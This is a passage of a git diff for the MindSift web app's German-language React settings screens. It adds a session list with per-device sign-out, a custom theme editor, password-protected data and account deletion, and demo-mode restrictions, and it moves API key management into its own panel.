: mode === 'restore'
|
||||||
|
? 'Ersetzen'
|
||||||
|
: 'Hinzufügen'}
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
{error && <p className="text-[11px] text-status-err">{error}</p>}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
import { useEffect, useState } from 'react';
|
||||||
|
import { LogOut, Monitor, Smartphone } from 'lucide-react';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { Session } from '../../lib/types';
|
||||||
|
|
||||||
|
// Rough device label from the user agent; good enough to tell one's own devices apart
|
||||||
|
export function describeDevice(ua: string): { label: string; mobile: boolean } {
|
||||||
|
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
|
||||||
|
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
|
||||||
|
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
|
||||||
|
const browser = /Edg\//.test(ua)
|
||||||
|
? 'Edge'
|
||||||
|
: /Firefox\//.test(ua)
|
||||||
|
? 'Firefox'
|
||||||
|
: /Chrome\//.test(ua)
|
||||||
|
? 'Chrome'
|
||||||
|
: /Safari\//.test(ua)
|
||||||
|
? 'Safari'
|
||||||
|
: 'Browser';
|
||||||
|
const os = /Android/.test(ua)
|
||||||
|
? 'Android'
|
||||||
|
: /iPhone|iPad/.test(ua)
|
||||||
|
? 'iOS'
|
||||||
|
: /Windows/.test(ua)
|
||||||
|
? 'Windows'
|
||||||
|
: /Mac OS X/.test(ua)
|
||||||
|
? 'macOS'
|
||||||
|
: /Linux/.test(ua)
|
||||||
|
? 'Linux'
|
||||||
|
: '';
|
||||||
|
return { label: os ? `${browser} auf ${os}` : browser, mobile };
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatLastUsed(iso: string): string {
|
||||||
|
const d = new Date(iso);
|
||||||
|
if (isNaN(d.getTime())) return '';
|
||||||
|
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
|
||||||
|
if (minutes < 10) return 'gerade aktiv';
|
||||||
|
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function SessionsPanel() {
|
||||||
|
const [sessions, setSessions] = useState<Session[] | null>(null);
|
||||||
|
const [error, setError] = useState('');
|
||||||
|
const [ending, setEnding] = useState('');
|
||||||
|
|
||||||
|
const load = async () => {
|
||||||
|
try {
|
||||||
|
const list = await api.listSessions();
|
||||||
|
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
|
||||||
|
setError('');
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Sitzungen konnten nicht geladen werden');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
void load();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const endSession = async (id: string) => {
|
||||||
|
setEnding(id);
|
||||||
|
try {
|
||||||
|
await api.endSession(id);
|
||||||
|
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Sitzung konnte nicht beendet werden');
|
||||||
|
} finally {
|
||||||
|
setEnding('');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
|
||||||
|
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
|
||||||
|
{sessions.map((s) => {
|
||||||
|
const device = describeDevice(s.userAgent);
|
||||||
|
const Icon = device.mobile ? Smartphone : Monitor;
|
||||||
|
return (
|
||||||
|
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
|
||||||
|
<Icon size={16} className="text-muted shrink-0" />
|
||||||
|
<div className="min-w-0 flex-1">
|
||||||
|
<p className="font-semibold text-main truncate">
|
||||||
|
{device.label}
|
||||||
|
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
|
||||||
|
</p>
|
||||||
|
<p className="text-[11px] text-faint truncate">
|
||||||
|
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{!s.current && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => endSession(s.id)}
|
||||||
|
disabled={ending === s.id}
|
||||||
|
title="Dieses Gerät abmelden"
|
||||||
|
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
|
||||||
|
>
|
||||||
|
<LogOut size={13} />
|
||||||
|
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</ul>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -3,9 +3,7 @@ import {
|
|||||||
User as UserIcon,
|
User as UserIcon,
|
||||||
Bell,
|
Bell,
|
||||||
Key,
|
Key,
|
||||||
Plus,
|
|
||||||
Trash2,
|
Trash2,
|
||||||
Terminal,
|
|
||||||
Download,
|
Download,
|
||||||
ArrowLeft,
|
ArrowLeft,
|
||||||
Check,
|
Check,
|
||||||
@@ -16,17 +14,31 @@ import {
|
|||||||
AlertCircle,
|
AlertCircle,
|
||||||
Palette,
|
Palette,
|
||||||
Upload,
|
Upload,
|
||||||
Camera,
|
Pencil,
|
||||||
|
Copy,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { APIKey, User } from '../../lib/types';
|
import { AuthStatus, User, UserTheme } from '../../lib/types';
|
||||||
import { api, triggerHaptic } from '../../lib/api';
|
import { ApiKeysPanel } from './ApiKeysPanel';
|
||||||
import { AVAILABLE_THEMES, ThemeId } from '../../lib/theme';
|
import { ServerBackupsCard } from './ServerBackupsCard';
|
||||||
|
import { saveBlob } from '../../lib/download';
|
||||||
|
import { api, clearToken, triggerHaptic } from '../../lib/api';
|
||||||
|
import { passwordProblem } from '../../lib/password';
|
||||||
|
import { customThemeId, ThemeId, ThemeOption } from '../../lib/theme';
|
||||||
|
import themeTemplateCss from '../../themes/theme-template.css?raw';
|
||||||
import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar';
|
import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar';
|
||||||
|
import { LegalLinks } from '../../components/LegalLinks';
|
||||||
|
import { AboutModal } from '../../components/AboutModal';
|
||||||
|
import { ImportCard } from './ImportCard';
|
||||||
|
import { SessionsPanel } from './SessionsPanel';
|
||||||
|
import { FormSheet } from '../../components/FormSheet';
|
||||||
|
|
||||||
interface UserSettingsViewProps {
|
interface UserSettingsViewProps {
|
||||||
currentUser: User;
|
currentUser: User;
|
||||||
activeTheme: ThemeId;
|
activeTheme: ThemeId;
|
||||||
|
themes: ThemeOption[]; // built-in + custom
|
||||||
|
customThemes: UserTheme[];
|
||||||
onThemeChange: (themeId: ThemeId) => void;
|
onThemeChange: (themeId: ThemeId) => void;
|
||||||
|
onCustomThemesChange: (themes: UserTheme[], activate?: ThemeId) => void;
|
||||||
onUserUpdated: (u: User) => void;
|
onUserUpdated: (u: User) => void;
|
||||||
onBack: () => void;
|
onBack: () => void;
|
||||||
}
|
}
|
||||||
@@ -36,17 +48,156 @@ type UserSettingsSection = 'profile' | 'appearance' | 'alarms' | 'webhooks';
|
|||||||
export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||||
currentUser,
|
currentUser,
|
||||||
activeTheme,
|
activeTheme,
|
||||||
|
themes,
|
||||||
|
customThemes,
|
||||||
onThemeChange,
|
onThemeChange,
|
||||||
|
onCustomThemesChange,
|
||||||
onUserUpdated,
|
onUserUpdated,
|
||||||
onBack,
|
onBack,
|
||||||
}) => {
|
}) => {
|
||||||
const [section, setSection] = useState<UserSettingsSection>('profile');
|
const [section, setSection] = useState<UserSettingsSection>('profile');
|
||||||
|
const [legal, setLegal] = useState<AuthStatus['legal']>();
|
||||||
|
|
||||||
|
// --- Danger zone ---
|
||||||
|
const [dangerAction, setDangerAction] = useState<'data' | 'account' | null>(null);
|
||||||
|
const [dangerPassword, setDangerPassword] = useState('');
|
||||||
|
const [dangerError, setDangerError] = useState<string | null>(null);
|
||||||
|
const [dangerBusy, setDangerBusy] = useState(false);
|
||||||
|
const [dangerDone, setDangerDone] = useState<string | null>(null);
|
||||||
|
const [isLastAdmin, setIsLastAdmin] = useState(false);
|
||||||
|
useEffect(() => {
|
||||||
|
api.getMe().then((me) => setIsLastAdmin(Boolean(me.isLastAdmin))).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
const openDanger = (action: 'data' | 'account') => {
|
||||||
|
setDangerAction(action);
|
||||||
|
setDangerPassword('');
|
||||||
|
setDangerError(null);
|
||||||
|
setDangerDone(null);
|
||||||
|
};
|
||||||
|
const handleDangerSubmit = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setDangerBusy(true);
|
||||||
|
setDangerError(null);
|
||||||
|
try {
|
||||||
|
if (dangerAction === 'account') {
|
||||||
|
await api.deleteOwnAccount(dangerPassword);
|
||||||
|
// The account is gone: drop the session and show the login screen
|
||||||
|
clearToken();
|
||||||
|
window.location.reload();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
await api.purgeOwnData(dangerPassword);
|
||||||
|
setDangerAction(null);
|
||||||
|
setDangerDone('Alle deine Daten wurden gelöscht.');
|
||||||
|
onUserUpdated(currentUser);
|
||||||
|
} catch (err: any) {
|
||||||
|
setDangerError(err.message || 'Aktion fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setDangerBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const [showAbout, setShowAbout] = useState(false);
|
||||||
|
// The public demo sends nothing and keeps the shared accounts intact (FLAW-33)
|
||||||
|
const [demoMode, setDemoMode] = useState(false);
|
||||||
|
useEffect(() => {
|
||||||
|
api
|
||||||
|
.getAuthStatus()
|
||||||
|
.then((st) => {
|
||||||
|
setLegal(st.legal);
|
||||||
|
setDemoMode(Boolean(st.demoMode));
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// --- Custom Theme Editor State ---
|
||||||
|
const [themeEditId, setThemeEditId] = useState<string | null>(null); // null = new theme
|
||||||
|
const [themeName, setThemeName] = useState('');
|
||||||
|
const [themeCss, setThemeCss] = useState('');
|
||||||
|
const [themeMsg, setThemeMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null);
|
||||||
|
const [savingTheme, setSavingTheme] = useState(false);
|
||||||
|
const [deletingThemeId, setDeletingThemeId] = useState<string | null>(null);
|
||||||
|
const themeFileRef = useRef<HTMLInputElement>(null);
|
||||||
|
|
||||||
|
const resetThemeEditor = () => {
|
||||||
|
setThemeEditId(null);
|
||||||
|
setThemeName('');
|
||||||
|
setThemeCss('');
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleThemeFile = async (file?: File) => {
|
||||||
|
if (!file) return;
|
||||||
|
const text = await file.text();
|
||||||
|
setThemeCss(text);
|
||||||
|
if (!themeName.trim()) setThemeName(file.name.replace(/\.css$/i, '').replace(/^theme-/, ''));
|
||||||
|
setThemeMsg(null);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleDownloadTemplate = () => {
|
||||||
|
const url = URL.createObjectURL(new Blob([themeTemplateCss], { type: 'text/css' }));
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = 'theme-template.css';
|
||||||
|
a.click();
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleCopyTemplate = async () => {
|
||||||
|
try {
|
||||||
|
await navigator.clipboard.writeText(themeTemplateCss);
|
||||||
|
setThemeMsg({ type: 'ok', text: 'Vorlage in die Zwischenablage kopiert.' });
|
||||||
|
} catch {
|
||||||
|
setThemeMsg({ type: 'err', text: 'Kopieren nicht möglich – nutze „Vorlage einfügen“ oder den Download.' });
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Saving activates the theme right away (injected live, no reload)
|
||||||
|
const handleSaveTheme = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setSavingTheme(true);
|
||||||
|
setThemeMsg(null);
|
||||||
|
try {
|
||||||
|
const saved = await api.saveTheme({ id: themeEditId || undefined, name: themeName.trim(), css: themeCss });
|
||||||
|
const next = themeEditId
|
||||||
|
? customThemes.map((t) => (t.id === saved.id ? saved : t))
|
||||||
|
: [...customThemes, saved];
|
||||||
|
onCustomThemesChange(next, customThemeId(saved));
|
||||||
|
setThemeMsg({ type: 'ok', text: `Theme „${saved.name}“ gespeichert und aktiviert.` });
|
||||||
|
resetThemeEditor();
|
||||||
|
} catch (err: any) {
|
||||||
|
setThemeMsg({ type: 'err', text: err.message || 'Theme konnte nicht gespeichert werden' });
|
||||||
|
} finally {
|
||||||
|
setSavingTheme(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleEditTheme = (t: UserTheme) => {
|
||||||
|
setThemeEditId(t.id);
|
||||||
|
setThemeName(t.name);
|
||||||
|
setThemeCss(t.css);
|
||||||
|
setThemeMsg(null);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleDeleteTheme = async (t: UserTheme) => {
|
||||||
|
try {
|
||||||
|
await api.deleteTheme(t.id);
|
||||||
|
setDeletingThemeId(null);
|
||||||
|
if (themeEditId === t.id) resetThemeEditor();
|
||||||
|
// Deleting the active theme falls back to the default one
|
||||||
|
onCustomThemesChange(
|
||||||
|
customThemes.filter((x) => x.id !== t.id),
|
||||||
|
activeTheme === customThemeId(t) ? 'dark' : undefined
|
||||||
|
);
|
||||||
|
} catch (err: any) {
|
||||||
|
setThemeMsg({ type: 'err', text: err.message || 'Theme konnte nicht gelöscht werden' });
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
// --- Profile State ---
|
// --- Profile State ---
|
||||||
const [displayName, setDisplayName] = useState(currentUser.displayName || '');
|
const [displayName, setDisplayName] = useState(currentUser.displayName || '');
|
||||||
const [email, setEmail] = useState(currentUser.email || '');
|
const [email, setEmail] = useState(currentUser.email || '');
|
||||||
const [avatarUrl, setAvatarUrl] = useState(currentUser.avatarUrl || '');
|
const [avatarUrl, setAvatarUrl] = useState(currentUser.avatarUrl || '');
|
||||||
const [newPassword, setNewPassword] = useState('');
|
const [newPassword, setNewPassword] = useState('');
|
||||||
|
const [currentPassword, setCurrentPassword] = useState('');
|
||||||
const [profileMsg, setProfileMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null);
|
const [profileMsg, setProfileMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null);
|
||||||
const [savingProfile, setSavingProfile] = useState(false);
|
const [savingProfile, setSavingProfile] = useState(false);
|
||||||
const [revokingSessions, setRevokingSessions] = useState(false);
|
const [revokingSessions, setRevokingSessions] = useState(false);
|
||||||
@@ -67,12 +218,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
const [savingAlarms, setSavingAlarms] = useState(false);
|
const [savingAlarms, setSavingAlarms] = useState(false);
|
||||||
const [testingChannel, setTestingChannel] = useState<string | null>(null);
|
const [testingChannel, setTestingChannel] = useState<string | null>(null);
|
||||||
|
|
||||||
// --- Webhooks & API Keys State ---
|
|
||||||
const [apiKeys, setApiKeys] = useState<APIKey[]>([]);
|
|
||||||
const [newKeyName, setNewKeyName] = useState('');
|
|
||||||
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
|
|
||||||
const [copiedLabel, setCopiedLabel] = useState<string | null>(null);
|
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
setDisplayName(currentUser.displayName || '');
|
setDisplayName(currentUser.displayName || '');
|
||||||
setEmail(currentUser.email || '');
|
setEmail(currentUser.email || '');
|
||||||
@@ -84,19 +229,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
setNotifyBeforeMinutes(currentUser.notifyBeforeMinutes ?? 30);
|
setNotifyBeforeMinutes(currentUser.notifyBeforeMinutes ?? 30);
|
||||||
}, [currentUser]);
|
}, [currentUser]);
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
loadKeys();
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
const loadKeys = async () => {
|
|
||||||
try {
|
|
||||||
const keys = await api.getAPIKeys();
|
|
||||||
setApiKeys(keys);
|
|
||||||
} catch {
|
|
||||||
// ignore
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const toggleAlarmChannel = (ch: string) => {
|
const toggleAlarmChannel = (ch: string) => {
|
||||||
setAlarmChannels((prev) =>
|
setAlarmChannels((prev) =>
|
||||||
prev.includes(ch) ? prev.filter((item) => item !== ch) : [...prev, ch]
|
prev.includes(ch) ? prev.filter((item) => item !== ch) : [...prev, ch]
|
||||||
@@ -131,6 +263,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
triggerHaptic(10);
|
triggerHaptic(10);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Changing the password or the login address needs the current password (FLAW-30)
|
||||||
|
const needsCurrentPassword =
|
||||||
|
newPassword.trim() !== '' || email.trim().toLowerCase() !== (currentUser.email || '').toLowerCase();
|
||||||
|
|
||||||
// --- Handlers: Profile ---
|
// --- Handlers: Profile ---
|
||||||
const handleSaveProfile = async (e: React.FormEvent) => {
|
const handleSaveProfile = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
@@ -143,11 +279,19 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
avatarUrl: avatarUrl.trim(),
|
avatarUrl: avatarUrl.trim(),
|
||||||
};
|
};
|
||||||
if (newPassword.trim()) {
|
if (newPassword.trim()) {
|
||||||
patch.password = newPassword.trim();
|
const problem = passwordProblem(newPassword);
|
||||||
|
if (problem) {
|
||||||
|
setProfileMsg({ type: 'err', text: problem });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// Not trimmed: login compares the password exactly as typed
|
||||||
|
patch.password = newPassword;
|
||||||
}
|
}
|
||||||
|
if (needsCurrentPassword) patch.currentPassword = currentPassword;
|
||||||
const updated = await api.updateSettings(patch);
|
const updated = await api.updateSettings(patch);
|
||||||
onUserUpdated(updated);
|
onUserUpdated(updated);
|
||||||
setNewPassword('');
|
setNewPassword('');
|
||||||
|
setCurrentPassword('');
|
||||||
setProfileMsg({ type: 'ok', text: 'Profil und Anmeldedaten erfolgreich gespeichert.' });
|
setProfileMsg({ type: 'ok', text: 'Profil und Anmeldedaten erfolgreich gespeichert.' });
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
setProfileMsg({ type: 'err', text: err.message || 'Fehler beim Speichern' });
|
setProfileMsg({ type: 'err', text: err.message || 'Fehler beim Speichern' });
|
||||||
@@ -235,61 +379,35 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
// --- Handlers: Webhooks & Export ---
|
// --- Handlers: Export ---
|
||||||
const handleCreateAPIKey = async (e: React.FormEvent) => {
|
// Works on mobile browsers too: the link must be in the document and the URL alive until the click ran
|
||||||
e.preventDefault();
|
|
||||||
triggerHaptic(15);
|
const [exportingBackup, setExportingBackup] = useState(false);
|
||||||
|
const handleExportData = async () => {
|
||||||
|
setExportingBackup(true);
|
||||||
try {
|
try {
|
||||||
const created = await api.createAPIKey(newKeyName.trim() || 'Eigenes Skript / Webhook');
|
saveBlob(await api.exportBackupZip(), `mindsift-backup-${new Date().toISOString().slice(0, 10)}.zip`);
|
||||||
if (created.rawKey) {
|
|
||||||
setNewlyCreatedKey(created.rawKey);
|
|
||||||
}
|
|
||||||
setNewKeyName('');
|
|
||||||
loadKeys();
|
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
alert(err.message);
|
setVaultError(err.message || 'Backup fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setExportingBackup(false);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
const handleDeleteAPIKey = async (id: string) => {
|
const [exportingVault, setExportingVault] = useState(false);
|
||||||
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
|
const [vaultError, setVaultError] = useState<string | null>(null);
|
||||||
await api.deleteAPIKey(id);
|
const handleExportVault = async () => {
|
||||||
loadKeys();
|
setExportingVault(true);
|
||||||
|
setVaultError(null);
|
||||||
|
try {
|
||||||
|
saveBlob(await api.exportMarkdownVault(), `mindsift-vault-${new Date().toISOString().slice(0, 10)}.zip`);
|
||||||
|
} catch (err: any) {
|
||||||
|
setVaultError(err.message || 'Export fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setExportingVault(false);
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
const handleCopy = (text: string, label: string) => {
|
|
||||||
navigator.clipboard.writeText(text);
|
|
||||||
setCopiedLabel(label);
|
|
||||||
setTimeout(() => setCopiedLabel(null), 2000);
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleExportData = async () => {
|
|
||||||
const data = await api.exportAll();
|
|
||||||
const blob = new Blob([JSON.stringify(data, null, 2)], {
|
|
||||||
type: 'application/json;charset=utf-8',
|
|
||||||
});
|
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `mindsift-backup-${new Date().toISOString().slice(0, 10)}.json`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
};
|
|
||||||
|
|
||||||
const baseUrl = window.location.origin;
|
|
||||||
const activeKeyPlaceholder =
|
|
||||||
newlyCreatedKey || (apiKeys[0]?.keyPrefix ? apiKeys[0].keyPrefix + '••••••••' : 'DEIN_API_KEY');
|
|
||||||
|
|
||||||
const curlTriageExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
|
|
||||||
-H "X-API-Key: ${activeKeyPlaceholder}" \\
|
|
||||||
-H "Content-Type: application/json" \\
|
|
||||||
-d '{"content": "Kellerfeuchtigkeit über 68% gestiegen – Entfeuchter prüfen #smarthome #alarm", "priority": "urgent"}'`;
|
|
||||||
|
|
||||||
const curlTaskExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
|
|
||||||
-H "X-API-Key: ${activeKeyPlaceholder}" \\
|
|
||||||
-H "Content-Type: application/json" \\
|
|
||||||
-d '{"content": "Server-Alarm prüfen #monitoring", "priority": "urgent", "target": "task"}'`;
|
|
||||||
|
|
||||||
const roleBadgeLabel =
|
const roleBadgeLabel =
|
||||||
currentUser.role === 'admin'
|
currentUser.role === 'admin'
|
||||||
? 'Server-Admin'
|
? 'Server-Admin'
|
||||||
@@ -518,7 +636,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
value={email}
|
value={email}
|
||||||
onChange={(e) => setEmail(e.target.value)}
|
onChange={(e) => setEmail(e.target.value)}
|
||||||
required
|
required
|
||||||
className="w-full h-9 px-3 input-field"
|
disabled={demoMode}
|
||||||
|
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||||
|
className="w-full h-9 px-3 input-field disabled:opacity-60"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -531,11 +651,29 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
type="password"
|
type="password"
|
||||||
value={newPassword}
|
value={newPassword}
|
||||||
onChange={(e) => setNewPassword(e.target.value)}
|
onChange={(e) => setNewPassword(e.target.value)}
|
||||||
placeholder="Mindestens 4 Zeichen"
|
placeholder={demoMode ? 'In der Demo deaktiviert' : 'Mindestens 8 Zeichen'}
|
||||||
className="w-full h-9 px-3 input-field"
|
autoComplete="new-password"
|
||||||
|
disabled={demoMode}
|
||||||
|
className="w-full h-9 px-3 input-field disabled:opacity-60"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{needsCurrentPassword && (
|
||||||
|
<div>
|
||||||
|
<label className="block text-muted font-medium mb-1">
|
||||||
|
Aktuelles Passwort (zur Bestätigung)
|
||||||
|
</label>
|
||||||
|
<input
|
||||||
|
type="password"
|
||||||
|
value={currentPassword}
|
||||||
|
onChange={(e) => setCurrentPassword(e.target.value)}
|
||||||
|
required
|
||||||
|
autoComplete="current-password"
|
||||||
|
className="w-full h-9 px-3 input-field"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
<div className="pt-2 border-t border-border flex justify-end">
|
<div className="pt-2 border-t border-border flex justify-end">
|
||||||
<button
|
<button
|
||||||
type="submit"
|
type="submit"
|
||||||
@@ -552,9 +690,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
<div>
|
<div>
|
||||||
<h3 className="text-xs font-bold text-main">Aktive Sitzungen & Sicherheit</h3>
|
<h3 className="text-xs font-bold text-main">Aktive Sitzungen & Sicherheit</h3>
|
||||||
<p className="text-[11px] text-muted">
|
<p className="text-[11px] text-muted">
|
||||||
Sitzungen werden durch kryptografische JWTs geschützt. Bei einer Passwortänderung werden alle alten Sitzungen automatisch ungültig.
|
Geräte, auf denen du angemeldet bist. Unbenutzte Sitzungen enden nach 30 Tagen; eine Passwortänderung meldet alle anderen Geräte ab.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
<SessionsPanel />
|
||||||
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 p-3.5 rounded-card border border-border bg-canvas">
|
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 p-3.5 rounded-card border border-border bg-canvas">
|
||||||
<div className="text-xs">
|
<div className="text-xs">
|
||||||
<p className="font-semibold text-main">Alle Sitzungen sofort beenden</p>
|
<p className="font-semibold text-main">Alle Sitzungen sofort beenden</p>
|
||||||
@@ -565,13 +704,58 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={handleRevokeAllSessions}
|
onClick={handleRevokeAllSessions}
|
||||||
disabled={revokingSessions}
|
disabled={demoMode || revokingSessions}
|
||||||
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer"
|
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||||
|
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed"
|
||||||
>
|
>
|
||||||
{revokingSessions ? 'Beende…' : 'Alle Sitzungen beenden'}
|
{revokingSessions ? 'Beende…' : 'Alle Sitzungen beenden'}
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* Danger zone: delete own data or the whole account (password required) */}
|
||||||
|
<div className="p-4 border border-status-err/40 bg-status-err/5 rounded-card space-y-3">
|
||||||
|
<h3 className="font-bold text-status-err flex items-center gap-1.5">
|
||||||
|
<AlertCircle className="w-4 h-4" />
|
||||||
|
<span>Gefahrenzone</span>
|
||||||
|
</h3>
|
||||||
|
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3">
|
||||||
|
<div>
|
||||||
|
<p className="text-main font-medium">Alle eigenen Daten löschen</p>
|
||||||
|
<p className="text-[11px] text-muted">
|
||||||
|
Löscht deine Notizen, Ordner, Aufgaben, Gedanken und Listen. Konto, Passwort und Einstellungen bleiben.
|
||||||
|
Mit dir geteilte Inhalte anderer bleiben erhalten.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => openDanger('data')}
|
||||||
|
className="btn-danger h-11 sm:h-8 px-3 text-xs shrink-0"
|
||||||
|
>
|
||||||
|
Daten löschen
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 pt-3 border-t border-status-err/20">
|
||||||
|
<div>
|
||||||
|
<p className="text-main font-medium">Konto unwiderruflich löschen</p>
|
||||||
|
<p className="text-[11px] text-muted">
|
||||||
|
{isLastAdmin
|
||||||
|
? 'Der letzte Server-Administrator kann nicht gelöscht werden. Bitte ernenne vorher ein anderes Konto zum Administrator.'
|
||||||
|
: 'Löscht dein Konto mit allen Daten. Du wirst danach abgemeldet.'}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => openDanger('account')}
|
||||||
|
disabled={isLastAdmin || demoMode}
|
||||||
|
title={demoMode ? 'In der Demo deaktiviert' : undefined}
|
||||||
|
className="btn-danger h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||||
|
>
|
||||||
|
Konto löschen
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
{dangerDone && <p className="text-[11px] text-status-ok">{dangerDone}</p>}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
@@ -591,14 +775,15 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
